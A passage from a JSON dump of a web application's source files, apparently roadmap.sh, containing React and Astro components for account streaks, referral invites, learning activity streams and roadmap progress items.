class='relative rounded-full bg-gray-200 p-1 text-xs' />\n                        <span class='absolute top-0 right-0 bottom-0 left-0 animate-ping rounded-full bg-gray-400 p-1 text-xs' />\n                      </span>\n                    )}\n\n                    {sidebarLink.id === 'friends' && (\n                      <SidebarFriendsCounter client:load />\n                    )}\n                  </a>\n                </li>\n              );\n            })}\n\n            <AccountSidebarUpgrade client:load />\n          </ul>\n        </nav>\n      </aside>\n    )\n  }\n  <!-- /End Desktop Sidebar -->\n\n  <div\n    class:list={[\n      'grow px-0 py-0 md:py-10',\n      { 'md:px-10': hasDesktopSidebar, 'md:px-5': !hasDesktopSidebar },\n    ]}\n  >\n    <slot />\n  </div>\n</div>\n\n<script>\n  const menuButton = document.getElementById('settings-menu');\n  const menuDropdown = document.getElementById('settings-menu-dropdown');\n\n  menuButton?.addEventListener('click', () => {\n    menuDropdown?.classList.toggle('hidden');\n  });\n\n  document.addEventListener('click', (e) => {\n    if (!menuButton?.contains(e.target as Node)) {\n      menuDropdown?.classList.add('hidden');\n    }\n  });\n</script>\n"
  },
  {
    "path": "src/components/AccountStreak/AccountStreak.tsx",
    "content": "import { useEffect, useRef, useState } from 'react';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { httpGet } from '../../lib/http';\nimport { useToast } from '../../hooks/use-toast';\nimport { Zap, ZapOff } from 'lucide-react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { StreakDay } from './StreakDay';\nimport {\n  navigationDropdownOpen,\n  roadmapsDropdownOpen,\n} from '../../stores/page.ts';\nimport { useStore } from '@nanostores/react';\nimport { cn } from '../../lib/classname.ts';\nimport { $accountStreak, type StreakResponse } from '../../stores/streak.ts';\nimport { InviteFriends } from './InviteFriends.tsx';\n\ntype AccountStreakProps = {};\n\nexport function AccountStreak(props: AccountStreakProps) {\n  const toast = useToast();\n  const dropdownRef = useRef(null);\n\n  const [isLoading, setIsLoading] = useState(true);\n  const accountStreak = useStore($accountStreak);\n  const [showDropdown, setShowDropdown] = useState(false);\n\n  const $roadmapsDropdownOpen = useStore(roadmapsDropdownOpen);\n  const $navigationDropdownOpen = useStore(navigationDropdownOpen);\n\n  useEffect(() => {\n    if ($roadmapsDropdownOpen || $navigationDropdownOpen) {\n      setShowDropdown(false);\n    }\n  }, [$roadmapsDropdownOpen, $navigationDropdownOpen]);\n\n  const loadAccountStreak = async () => {\n    if (!isLoggedIn()) {\n      return;\n    }\n\n    if (accountStreak) {\n      setIsLoading(false);\n      return;\n    }\n\n    setIsLoading(true);\n    const { response, error } = await httpGet<StreakResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-streak`,\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Failed to load account streak');\n      setIsLoading(false);\n      return;\n    }\n\n    $accountStreak.set(response);\n    setIsLoading(false);\n  };\n\n  useOutsideClick(dropdownRef, () => {\n    setShowDropdown(false);\n  });\n\n  useEffect(() => {\n    loadAccountStreak().finally(() => {});\n  }, []);\n\n  if (!isLoggedIn() || isLoading) {\n    return null;\n  }\n\n  let { count: currentCount = 0 } = accountStreak || {};\n  const previousCount =\n    accountStreak?.previousCount || accountStreak?.count || 0;\n\n  // Adding one to show the current day\n  const currentCircleCount = Math.min(currentCount, 5) + 1;\n  // Adding one day to show the streak they broke\n  const leftCircleCount = Math.min(5 - currentCircleCount, previousCount) + 1;\n  // In the maximum case, we will show 10 circles\n  const remainingCount = Math.max(0, 10 - leftCircleCount - currentCircleCount);\n  const totalCircles = leftCircleCount + currentCircleCount + remainingCount;\n\n  return (\n    <div className=\"relative z-90 animate-fade-in\">\n      <button\n        className={cn(\n          'flex items-center justify-center rounded-lg p-1.5 px-2 text-purple-400 hover:bg-purple-100/10 focus:outline-hidden',\n          {\n            'bg-purple-100/10': showDropdown,\n          },\n        )}\n        onClick={() => setShowDropdown(true)}\n      >\n        <Zap strokeWidth={1} className=\"size-5 fill-current\" />\n        <span className=\"ml-1.5 text-sm font-semibold\">\n          {accountStreak?.count}\n        </span>\n      </button>\n\n      {showDropdown && (\n        <div\n          ref={dropdownRef}\n          className=\"absolute right-0 top-full z-50 w-[335px] translate-y-1 rounded-lg bg-slate-800 shadow-xl\"\n        >\n          <div className=\"py-5 pl-4 pr-5\">\n            <div className=\"flex items-center justify-between gap-2 text-sm text-slate-500\">\n              <p>\n                Current Streak\n                <span className=\"ml-2 font-medium text-white\">\n                  {accountStreak?.count || 0}\n                </span>\n              </p>\n              <p>\n                Longest Streak\n                <span className=\"ml-2 font-medium text-white\">\n                  {accountStreak?.longestCount || 0}\n                </span>\n              </p>\n            </div>\n\n            <div className=\"mb-6 mt-9\">\n              <div className=\"grid grid-cols-10 gap-1\">\n                {Array.from({ length: totalCircles }).map((_, index) => {\n                  let dayCount,\n                    icon,\n                    isPreviousStreakDay,\n                    isBrokenStreakDay,\n                    isCurrentStreakDay,\n                    isRemainingStreakDay,\n                    isToday;\n\n                  if (index < leftCircleCount) {\n                    // Previous streak days\n                    dayCount = previousCount - leftCircleCount + index + 1 + 1;\n                    isPreviousStreakDay = true;\n                    isBrokenStreakDay = index === leftCircleCount - 1;\n\n                    icon = isBrokenStreakDay ? (\n                      <ZapOff className=\"size-5 fill-current\" />\n                    ) : (\n                      <Zap className=\"size-5 fill-current\" />\n                    );\n                  } else if (index < leftCircleCount + currentCircleCount) {\n                    // Current streak days\n                    const currentIndex = index - leftCircleCount;\n                    dayCount =\n                      currentCount - currentCircleCount + currentIndex + 1 + 1;\n                    isCurrentStreakDay = true;\n                    isToday = currentIndex === currentCircleCount - 1;\n                    icon = <Zap className=\"size-5 fill-current\" />;\n                  } else {\n                    // Remaining streak days\n                    const remainingIndex =\n                      index - leftCircleCount - currentCircleCount;\n                    dayCount = currentCount + remainingIndex + 1 + 1;\n                    isRemainingStreakDay = true;\n                  }\n\n                  return (\n                    <StreakDay\n                      key={`streak-${index}`}\n                      dayCount={dayCount}\n                      icon={icon}\n                      isBrokenStreakDay={isBrokenStreakDay}\n                      isPreviousStreakDay={isPreviousStreakDay}\n                      isCurrentStreakDay={isCurrentStreakDay}\n                      isRemainingStreakDay={isRemainingStreakDay}\n                      isToday={isToday}\n                    />\n                  );\n                })}\n              </div>\n            </div>\n\n            <p className=\"-mt-[0px] mb-[1.5px] text-center text-xs tracking-wide text-slate-500\">\n              Visit every day to keep your streak going!\n            </p>\n\n            <InviteFriends\n              refByUserCount={accountStreak?.refByUserCount || 0}\n            />\n          </div>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AccountStreak/AccountStreakHeatmap.css",
    "content": ".react-calendar-heatmap text {\n  fill: rgb(148, 163, 184) !important;\n}\n\n.react-calendar-heatmap rect:hover {\n  stroke: rgb(148, 163, 184) !important;\n}"
  },
  {
    "path": "src/components/AccountStreak/InviteFriends.tsx",
    "content": "import { Copy, Heart } from 'lucide-react';\nimport { useAuth } from '../../hooks/use-auth';\nimport { useCopyText } from '../../hooks/use-copy-text';\nimport { cn } from '../../lib/classname';\nimport { CheckIcon } from '../ReactIcons/CheckIcon';\n\ntype InviteFriendsProps = {\n  refByUserCount: number;\n};\n\nexport function InviteFriends(props: InviteFriendsProps) {\n  const { refByUserCount } = props;\n\n  const user = useAuth();\n  const { copyText, isCopied } = useCopyText();\n\n  const referralLink = new URL(\n    `/signup?rc=${user?.id}`,\n    import.meta.env.DEV ? 'http://localhost:3000' : 'https://roadmap.sh',\n  ).toString();\n\n  return (\n    <div className=\"-mx-4 mt-6 flex flex-col border-t border-dashed border-t-slate-600 px-4 pt-5 text-center text-sm\">\n      <p className=\"text-slate-500\">Invite people to join roadmap.sh</p>\n\n      <div className=\"flex flex-col items-center rounded-lg bg-slate-900/40 pb-4 pt-5 my-4\">\n        <p className=\"text-xs text-slate-500\">\n          {refByUserCount === 0 && <>You haven't invited anyone yet.</>}\n          {refByUserCount > 0 && refByUserCount < 10 && (\n            <>{refByUserCount} of 10 users joined</>\n          )}\n        </p>\n\n        {refByUserCount >= 10 && <>🎉 You've invited {refByUserCount} users</>}\n\n        <div className=\"my-3 flex flex-row items-center justify-center gap-1\">\n          {Array.from({ length: 10 }).map((_, index) => (\n            <Heart\n              key={index}\n              className={cn(\n                'size-[23px] fill-current',\n                index < refByUserCount ? 'text-yellow-300' : 'text-slate-700',\n              )}\n            />\n          ))}\n        </div>\n        <p className={'mb-3 text-xs text-slate-500'}>\n          Share the link below with anyone you think would benefit from using\n          roadmap.sh\n        </p>\n        <p className=\"text-slate-500\">\n          <button\n            onClick={() => {\n              copyText(referralLink);\n            }}\n            className={cn(\n              'rounded-md hover:bg-slate-500/80 hover:text-slate-100 px-3 py-1 text-xs text-slate-300 bg-slate-600',\n              {\n                'bg-green-500 text-black hover:text-black hover:bg-green-500': isCopied,\n              },\n            )}\n          >\n            {!isCopied ? 'Copy Invite Link' : 'Invite Link Copied'}{' '}\n            {!isCopied && (\n              <Copy\n                className=\"relative -top-[1.25px] ml-1.5 inline-block size-3\"\n                strokeWidth={3}\n              />\n            )}\n            {isCopied && (\n              <CheckIcon additionalClasses=\"relative ml-1.5 -top-[1.25px] inline-block size-3\" />\n            )}\n          </button>\n        </p>\n      </div>\n\n      <p className=\"text-center text-xs\">\n        <a\n          href=\"/leaderboard\"\n          className=\"text-purple-400 underline-offset-2 hover:underline\"\n        >\n          See how you rank on the leaderboard\n        </a>\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AccountStreak/StreakDay.tsx",
    "content": "import type { ReactNode } from 'react';\nimport { cn } from '../../lib/classname';\nimport { ChevronDown } from 'lucide-react';\n\ntype StreakDayProps = {\n  isToday?: boolean;\n  isCurrentStreakDay?: boolean;\n  isPreviousStreakDay?: boolean;\n  isBrokenStreakDay?: boolean;\n  isRemainingStreakDay?: boolean;\n  dayCount: number;\n  icon?: ReactNode;\n};\n\nexport function StreakDay(props: StreakDayProps) {\n  const {\n    isCurrentStreakDay,\n    isPreviousStreakDay,\n    isBrokenStreakDay,\n    isRemainingStreakDay,\n    dayCount,\n    icon,\n    isToday = false,\n  } = props;\n\n  return (\n    <div\n      className={cn(\n        'relative flex flex-col items-center justify-center gap-1.5',\n        {\n          'text-red-400 opacity-40': isPreviousStreakDay,\n          'text-slate-600': isRemainingStreakDay,\n          'text-yellow-300': isCurrentStreakDay,\n          'text-slate-400': isToday,\n        },\n      )}\n    >\n      <div\n        className={cn('flex size-6 items-center justify-center rounded-full', {\n          'bg-slate-700': isRemainingStreakDay,\n          'border border-dashed border-slate-500 striped-bg': isToday,\n        })}\n      >\n        {isToday ? null : icon}\n      </div>\n      <span className={cn('text-xs')}>{dayCount}</span>\n      {isToday && (\n        <ChevronDown className=\"absolute bottom-full left-1/2 h-3.5 w-3.5 -translate-y-[0.75px] -translate-x-1/2 transform stroke-[2.5px] text-slate-400\" />\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AccountTerms.tsx",
    "content": "export function AccountTerms() {\n  return (\n    <div className=\"mt-3 text-left text-xs leading-normal text-gray-500\">\n      By continuing to use our services, you acknowledge that you have both read\n      and agree to our{' '}\n      <a\n        href=\"/terms\"\n        className=\"font-medium underline underline-offset-2 hover:text-black\"\n      >\n        Terms of Service\n      </a>{' '}\n      and{' '}\n      <a\n        href=\"/privacy\"\n        className=\"font-medium underline underline-offset-2 hover:text-black\"\n      >\n        Privacy Policy\n      </a>\n      .\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Activity/ActivityStream.tsx",
    "content": "import { useState } from 'react';\nimport { getRelativeTimeString } from '../../lib/date';\nimport type { ResourceType } from '../../lib/resource-progress';\nimport { EmptyStream } from './EmptyStream';\nimport { ActivityTopicsModal } from './ActivityTopicsModal.tsx';\nimport { ChevronsDown, ChevronsUp } from 'lucide-react';\nimport { ActivityTopicTitles } from './ActivityTopicTitles.tsx';\nimport { cn } from '../../lib/classname.ts';\n\nexport const allowedActivityActionType = [\n  'in_progress',\n  'done',\n  'answered',\n] as const;\nexport type AllowedActivityActionType =\n  (typeof allowedActivityActionType)[number];\n\nexport type UserStreamActivity = {\n  _id?: string;\n  resourceType: ResourceType | 'question';\n  resourceId: string;\n  resourceTitle: string;\n  resourceSlug?: string;\n  isCustomResource?: boolean;\n  actionType: AllowedActivityActionType;\n  topicTitles?: string[];\n  createdAt: Date;\n  updatedAt: Date;\n};\n\ntype ActivityStreamProps = {\n  activities: UserStreamActivity[];\n  className?: string;\n  onResourceClick?: (\n    resourceId: string,\n    resourceType: ResourceType,\n    isCustomResource: boolean,\n  ) => void;\n};\n\nexport function ActivityStream(props: ActivityStreamProps) {\n  const { activities, className, onResourceClick } = props;\n\n  const [showAll, setShowAll] = useState(false);\n  const [selectedActivity, setSelectedActivity] =\n    useState<UserStreamActivity | null>(null);\n\n  const sortedActivities = activities\n    .filter(\n      (activity) => activity?.topicTitles && activity.topicTitles.length > 0,\n    )\n    .sort((a, b) => {\n      return new Date(b.updatedAt).getTime() - new Date(a.updatedAt).getTime();\n    })\n    .slice(0, showAll ? activities.length : 10);\n\n  return (\n    <div className={cn('mx-0 px-0 py-5 md:-mx-10 md:px-8 md:py-8', className)}>\n      {activities.length > 0 && (\n        <h2 className=\"mb-3 text-xs uppercase text-gray-400\">\n          Learning Activity\n        </h2>\n      )}\n\n      {selectedActivity && (\n        <ActivityTopicsModal\n          onClose={() => setSelectedActivity(null)}\n          activityId={selectedActivity._id!}\n          resourceId={selectedActivity.resourceId}\n          resourceType={selectedActivity.resourceType}\n          isCustomResource={selectedActivity.isCustomResource}\n          topicTitles={selectedActivity.topicTitles || []}\n          topicCount={selectedActivity.topicTitles?.length || 0}\n          actionType={selectedActivity.actionType}\n        />\n      )}\n\n      {activities.length > 0 ? (\n        <ul className=\"divide-y divide-gray-100\">\n          {sortedActivities.map((activity) => {\n            const {\n              _id,\n              resourceType,\n              resourceId,\n              resourceTitle,\n              actionType,\n              updatedAt,\n              topicTitles,\n              isCustomResource,\n              resourceSlug,\n            } = activity;\n\n            const resourceUrl =\n              resourceType === 'question'\n                ? `/questions/${resourceId}`\n                : resourceType === 'best-practice'\n                  ? `/best-practices/${resourceId}`\n                  : isCustomResource && resourceType === 'roadmap'\n                    ? `/r/${resourceSlug}`\n                    : `/${resourceId}`;\n\n            const resourceLinkComponent =\n              onResourceClick && resourceType !== 'question' ? (\n                <button\n                  className=\"font-medium underline transition-colors hover:cursor-pointer hover:text-black\"\n                  onClick={() =>\n                    onResourceClick(resourceId, resourceType, isCustomResource!)\n                  }\n                >\n                  {resourceTitle}\n                </button>\n              ) : (\n                <a\n                  className=\"font-medium underline transition-colors hover:cursor-pointer hover:text-black\"\n                  target=\"_blank\"\n                  href={resourceUrl}\n                >\n                  {resourceTitle}\n                </a>\n              );\n\n            const topicCount = topicTitles?.length || 0;\n\n            const timeAgo = (\n              <span className=\"ml-1 text-xs text-gray-400\">\n                {getRelativeTimeString(new Date(updatedAt).toISOString())}\n              </span>\n            );\n\n            return (\n              <li key={_id} className=\"py-2 text-sm text-gray-600\">\n                {actionType === 'in_progress' && (\n                  <>\n                    <p className=\"mb-1\">\n                      Started&nbsp;{topicCount}&nbsp;topic\n                      {topicCount > 1 ? 's' : ''}&nbsp;in&nbsp;\n                      {resourceLinkComponent}&nbsp;\n                      {timeAgo}\n                    </p>\n                    <ActivityTopicTitles topicTitles={topicTitles || []} />\n                  </>\n                )}\n                {actionType === 'done' && (\n                  <>\n                    <p className=\"mb-1\">\n                      Completed&nbsp;{topicCount}&nbsp;topic\n                      {topicCount > 1 ? 's' : ''}&nbsp;in&nbsp;\n                      {resourceLinkComponent}&nbsp;\n                      {timeAgo}\n                    </p>\n                    <ActivityTopicTitles topicTitles={topicTitles || []} />\n                  </>\n                )}\n                {actionType === 'answered' && (\n                  <>\n                    <p className=\"mb-1\">\n                      Answered&nbsp;{topicCount}&nbsp;question\n                      {topicCount > 1 ? 's' : ''}&nbsp;in&nbsp;\n                      {resourceLinkComponent}&nbsp;\n                      {timeAgo}\n                    </p>\n                    <ActivityTopicTitles topicTitles={topicTitles || []} />\n                  </>\n                )}\n              </li>\n            );\n          })}\n        </ul>\n      ) : (\n        <EmptyStream />\n      )}\n\n      {activities.length > 10 && (\n        <button\n          className=\"mt-3 flex items-center gap-2 rounded-md border border-black py-1 pl-1.5 pr-2 text-xs uppercase tracking-wide text-black transition-colors hover:border-black hover:bg-black hover:text-white\"\n          onClick={() => setShowAll(!showAll)}\n        >\n          {showAll ? (\n            <>\n              <ChevronsUp size={14} />\n              Show less\n            </>\n          ) : (\n            <>\n              <ChevronsDown size={14} />\n              Show more\n            </>\n          )}\n        </button>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Activity/ActivityTopicTitles.tsx",
    "content": "import { useState } from 'react';\nimport { cn } from '../../lib/classname';\n\ntype ActivityTopicTitlesProps = {\n  topicTitles: string[];\n  className?: string;\n  onSelectActivity?: () => void;\n};\n\nexport function ActivityTopicTitles(props: ActivityTopicTitlesProps) {\n  const { topicTitles, onSelectActivity, className } = props;\n\n  const [showAll, setShowAll] = useState(false);\n  const filteredTopicTitles = topicTitles.slice(\n    0,\n    showAll ? topicTitles.length : 3,\n  );\n\n  const shouldShowButton = topicTitles.length > 3;\n\n  return (\n    <div\n      className={cn(\n        'flex flex-wrap gap-1 text-sm font-normal text-gray-600',\n        className,\n      )}\n    >\n      {filteredTopicTitles.map((topicTitle, index) => (\n        <span key={index} className=\"rounded-md bg-gray-200 px-1.5\">\n          {topicTitle}\n        </span>\n      ))}\n      {shouldShowButton && !showAll && (\n        <button\n          onClick={() => setShowAll(!showAll)}\n          className=\"bg-white border border-black text-black rounded-md px-1.5 hover:bg-black text-xs h-[20px] hover:text-white\"\n        >\n          {showAll ? '- Show less' : `+${topicTitles.length - 3}`}\n        </button>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Activity/ActivityTopicsModal.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport type { ResourceType } from '../../lib/resource-progress';\nimport type { AllowedActivityActionType } from './ActivityStream';\nimport { httpPost } from '../../lib/http';\nimport { Modal } from '../Modal.tsx';\nimport { ModalLoader } from '../UserProgress/ModalLoader.tsx';\nimport { ArrowUpRight, BookOpen, Check } from 'lucide-react';\n\ntype ActivityTopicDetailsProps = {\n  activityId: string;\n  resourceId: string;\n  resourceType: ResourceType | 'question';\n  isCustomResource?: boolean;\n  topicTitles: string[];\n  topicCount: number;\n  actionType: AllowedActivityActionType;\n  onClose: () => void;\n};\n\nexport function ActivityTopicsModal(props: ActivityTopicDetailsProps) {\n  const {\n    resourceId,\n    resourceType,\n    isCustomResource,\n    topicTitles = [],\n    topicCount,\n    actionType,\n    onClose,\n  } = props;\n\n  let pageUrl = '';\n  if (resourceType === 'roadmap') {\n    pageUrl = isCustomResource ? `/r/${resourceId}` : `/${resourceId}`;\n  } else if (resourceType === 'best-practice') {\n    pageUrl = `/best-practices/${resourceId}`;\n  } else {\n    pageUrl = `/questions/${resourceId}`;\n  }\n\n  return (\n    <Modal\n      onClose={() => {\n        onClose();\n      }}\n    >\n      <div className={`popup-body relative rounded-lg bg-white p-4 shadow-sm`}>\n        <span className=\"mb-2 flex items-center justify-between text-lg font-semibold capitalize\">\n          <span className=\"flex items-center gap-2\">\n            {actionType.replace('_', ' ')}\n          </span>\n          <a\n            href={pageUrl}\n            target=\"_blank\"\n            className=\"flex items-center gap-1 rounded-md border border-transparent py-0.5 pl-2 pr-1 text-sm font-normal text-gray-400 transition-colors hover:border-black hover:bg-black hover:text-white\"\n          >\n            Visit Page{' '}\n            <ArrowUpRight\n              size={16}\n              strokeWidth={2}\n              className=\"relative top-px\"\n            />\n          </a>\n        </span>\n        <ul className=\"flex max-h-[50vh] flex-col gap-1 overflow-y-auto max-md:max-h-full\">\n          {topicTitles.map((topicTitle) => {\n            const ActivityIcon =\n              actionType === 'done'\n                ? Check\n                : actionType === 'in_progress'\n                  ? BookOpen\n                  : Check;\n\n            return (\n              <li key={topicTitle} className=\"flex items-start gap-2\">\n                <ActivityIcon\n                  strokeWidth={3}\n                  className=\"relative top-[4px] text-green-500\"\n                  size={16}\n                />\n                {topicTitle}\n              </li>\n            );\n          })}\n        </ul>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/Activity/EmptyStream.tsx",
    "content": "import { List } from 'lucide-react';\n\nexport function EmptyStream() {\n  return (\n    <div className=\"rounded-md\">\n      <div className=\"flex flex-col items-center p-7 text-center\">\n        <List className=\"mb-4 h-14 w-14 opacity-10\" />\n\n        <h2 className=\"text-lg font-bold sm:text-xl\">No Activity</h2>\n        <p className=\"my-1 max-w-[400px] text-balance text-sm text-gray-500 sm:my-2 sm:text-base\">\n          Activities will appear here as you start tracking your progress.\n        </p>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Activity/ProjectProgress.tsx",
    "content": "import { getUser } from '../../lib/jwt';\nimport { ProjectProgressActions } from './ProjectProgressActions';\nimport { cn } from '../../lib/classname';\nimport type { ProjectStatusDocument } from '../Projects/ListProjectSolutions';\nimport { ProjectStatus } from './ProjectStatus';\nimport { ThumbsUp } from 'lucide-react';\n\ntype ProjectProgressType = {\n  projectStatus: ProjectStatusDocument & {\n    title: string;\n  };\n  showActions?: boolean;\n  userId?: string;\n};\n\nexport function ProjectProgress(props: ProjectProgressType) {\n  const {\n    projectStatus,\n    showActions = true,\n    userId: defaultUserId = getUser()?.id,\n  } = props;\n\n  const shouldShowActions =\n    projectStatus.submittedAt &&\n    projectStatus.submittedAt !== null &&\n    showActions;\n\n  return (\n    <div className=\"relative\">\n      <a\n        className={cn(\n          'group relative flex w-full items-center justify-between overflow-hidden rounded-md border border-gray-300 bg-white px-3 py-2 pr-7 text-left text-sm transition-all hover:border-gray-400',\n          shouldShowActions ? '' : 'pr-3',\n        )}\n        href={`/projects/${projectStatus.projectId}`}\n        target=\"_blank\"\n      >\n        <ProjectStatus projectStatus={projectStatus} />\n        <span className=\"ml-2 grow truncate\">{projectStatus?.title}</span>\n        <span className=\"inline-flex items-center gap-1 text-xs text-gray-400\">\n          {projectStatus.upvotes}\n          <ThumbsUp className=\"size-2.5 stroke-[2.5px]\" />\n        </span>\n      </a>\n\n      {shouldShowActions && (\n        <div className=\"absolute right-2 top-0 flex h-full items-center\">\n          <ProjectProgressActions\n            userId={defaultUserId!}\n            projectId={projectStatus.projectId}\n          />\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Activity/ProjectProgressActions.tsx",
    "content": "import { MoreVertical, X } from 'lucide-react';\nimport { useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { cn } from '../../lib/classname';\nimport { useCopyText } from '../../hooks/use-copy-text';\nimport { CheckIcon } from '../ReactIcons/CheckIcon';\nimport { ShareIcon } from '../ReactIcons/ShareIcon';\n\ntype ProjectProgressActionsType = {\n  userId: string;\n  projectId: string;\n};\n\nexport function ProjectProgressActions(props: ProjectProgressActionsType) {\n  const { userId, projectId } = props;\n\n  const dropdownRef = useRef<HTMLDivElement>(null);\n  const [isOpen, setIsOpen] = useState(false);\n\n  const { copyText, isCopied } = useCopyText();\n\n  const projectSolutionUrl = `${import.meta.env.DEV ? 'http://localhost:3000' : 'https://roadmap.sh'}/projects/${projectId}/solutions?u=${userId}`;\n\n  useOutsideClick(dropdownRef, () => {\n    setIsOpen(false);\n  });\n\n  useKeydown('Escape', () => {\n    setIsOpen(false);\n  });\n\n  return (\n    <div className=\"relative h-full\" ref={dropdownRef}>\n      <button\n        className=\"h-full text-gray-400 hover:text-gray-700\"\n        onClick={() => setIsOpen(!isOpen)}\n      >\n        <MoreVertical size={16} />\n      </button>\n\n      {isOpen && (\n        <div className=\"absolute right-0 top-8 z-10 w-48 overflow-hidden rounded-md border border-gray-200 bg-white shadow-lg\">\n          <button\n            className={cn(\n              'flex w-full items-center gap-1.5 p-2 text-xs font-medium hover:bg-gray-100 disabled:cursor-not-allowed disabled:opacity-70 sm:text-sm',\n              isCopied ? 'text-green-500' : 'text-gray-500 hover:text-black',\n            )}\n            onClick={() => {\n              copyText(projectSolutionUrl);\n            }}\n          >\n            {isCopied ? (\n              <>\n                <CheckIcon additionalClasses=\"h-3.5 w-3.5\" /> Link Copied\n              </>\n            ) : (\n              <>\n                <ShareIcon className=\"h-3.5 w-3.5 stroke-[2.5px]\" /> Share\n                Solution\n              </>\n            )}\n          </button>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Activity/ProjectStatus.tsx",
    "content": "import { CircleDashed } from 'lucide-react';\nimport type { ProjectStatusDocument } from '../Projects/ListProjectSolutions';\nimport { CheckIcon } from '../ReactIcons/CheckIcon';\n\ntype ProjectStatusType = {\n  projectStatus: ProjectStatusDocument & {\n    title: string;\n  };\n};\n\nexport function ProjectStatus(props: ProjectStatusType) {\n  const { projectStatus } = props;\n\n  const { submittedAt, repositoryUrl } = projectStatus;\n  const status = submittedAt && repositoryUrl ? 'submitted' : 'started';\n\n  if (status === 'submitted') {\n    return <CheckIcon additionalClasses=\"size-3 text-gray-500 shrink-0\" />;\n  }\n\n  return (\n    <CircleDashed className=\"size-3 shrink-0 stroke-[2.5px] text-gray-400\" />\n  );\n}\n"
  },
  {
    "path": "src/components/Activity/ResourceProgress.tsx",
    "content": "import { getUser } from '../../lib/jwt';\nimport { ResourceProgressActions } from './ResourceProgressActions';\nimport { cn } from '../../lib/classname';\nimport { getPercentage } from '../../lib/number';\n\ntype ResourceProgressType = {\n  resourceType: 'roadmap' | 'best-practice';\n  resourceId: string;\n  title: string;\n  updatedAt: string;\n  totalCount: number;\n  doneCount: number;\n  learningCount: number;\n  skippedCount: number;\n  onCleared?: () => void;\n  showClearButton?: boolean;\n  isCustomResource: boolean;\n  roadmapSlug?: string;\n  showActions?: boolean;\n  onResourceClick?: () => void;\n};\n\nexport function ResourceProgress(props: ResourceProgressType) {\n  const {\n    showClearButton = true,\n    isCustomResource,\n    showActions = true,\n    onResourceClick,\n  } = props;\n\n  const userId = getUser()?.id;\n\n  const {\n    updatedAt,\n    resourceType,\n    resourceId,\n    title,\n    totalCount,\n    learningCount,\n    doneCount,\n    skippedCount,\n    onCleared,\n    roadmapSlug,\n  } = props;\n\n  let url =\n    resourceType === 'roadmap'\n      ? `/${resourceId}`\n      : `/best-practices/${resourceId}`;\n\n  if (isCustomResource) {\n    url = `/r/${roadmapSlug}`;\n  }\n\n  const totalMarked = doneCount + skippedCount;\n  const progressPercentage = getPercentage(totalMarked, totalCount);\n\n  const Slot = onResourceClick ? 'button' : 'a';\n\n  return (\n    <div className=\"relative\">\n      <Slot\n        {...(onResourceClick\n          ? {\n              onClick: onResourceClick,\n            }\n          : {\n              href: url,\n              target: '_blank',\n            })}\n        className={cn(\n          'group relative flex w-full items-center justify-between overflow-hidden rounded-md border border-gray-300 bg-white px-3 py-2 text-left text-sm transition-all hover:border-gray-400',\n          showActions ? 'pr-7' : '',\n        )}\n      >\n        <span className=\"grow truncate\">{title}</span>\n        <span className=\"text-xs text-gray-400\">\n          {parseInt(progressPercentage, 10)}%\n        </span>\n\n        <span\n          className=\"absolute left-0 top-0 block h-full cursor-pointer rounded-tl-md bg-black/5 transition-colors group-hover:bg-black/10\"\n          style={{\n            width: `${progressPercentage}%`,\n          }}\n        ></span>\n      </Slot>\n\n      {showActions && (\n        <div className=\"absolute right-2 top-0 flex h-full items-center\">\n          <ResourceProgressActions\n            userId={userId!}\n            resourceType={resourceType}\n            resourceId={resourceId}\n            isCustomResource={isCustomResource}\n            onCleared={onCleared}\n            showClearButton={showClearButton}\n          />\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Activity/ResourceProgressActions.tsx",
    "content": "import { MoreVertical, X } from 'lucide-react';\nimport { useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { ProgressShareButton } from '../UserProgress/ProgressShareButton';\nimport type { ResourceType } from '../../lib/resource-progress';\nimport { httpPost } from '../../lib/http';\nimport { useToast } from '../../hooks/use-toast';\n\ntype ResourceProgressActionsType = {\n  userId: string;\n  resourceType: ResourceType;\n  resourceId: string;\n  isCustomResource: boolean;\n  showClearButton?: boolean;\n  onCleared?: () => void;\n};\n\nexport function ResourceProgressActions(props: ResourceProgressActionsType) {\n  const {\n    userId,\n    resourceType,\n    resourceId,\n    isCustomResource,\n    showClearButton = true,\n    onCleared,\n  } = props;\n\n  const toast = useToast();\n  const dropdownRef = useRef<HTMLDivElement>(null);\n\n  const [isOpen, setIsOpen] = useState(false);\n  const [isClearing, setIsClearing] = useState(false);\n  const [isConfirming, setIsConfirming] = useState(false);\n\n  async function clearProgress() {\n    setIsClearing(true);\n    const { error, response } = await httpPost(\n      `${import.meta.env.PUBLIC_API_URL}/v1-clear-resource-progress`,\n      {\n        resourceId,\n        resourceType,\n      },\n    );\n\n    if (error || !response) {\n      toast.error('Error clearing progress. Please try again.');\n      console.error(error);\n      setIsClearing(false);\n      return;\n    }\n\n    localStorage.removeItem(`${resourceType}-${resourceId}-${userId}-favorite`);\n    localStorage.removeItem(`${resourceType}-${resourceId}-${userId}-progress`);\n\n    setIsClearing(false);\n    setIsConfirming(false);\n    if (onCleared) {\n      onCleared();\n    }\n  }\n\n  useOutsideClick(dropdownRef, () => {\n    setIsOpen(false);\n  });\n\n  useKeydown('Escape', () => {\n    setIsOpen(false);\n  });\n\n  return (\n    <div className=\"relative h-full\" ref={dropdownRef}>\n      <button\n        className=\"h-full text-gray-400 hover:text-gray-700\"\n        onClick={() => 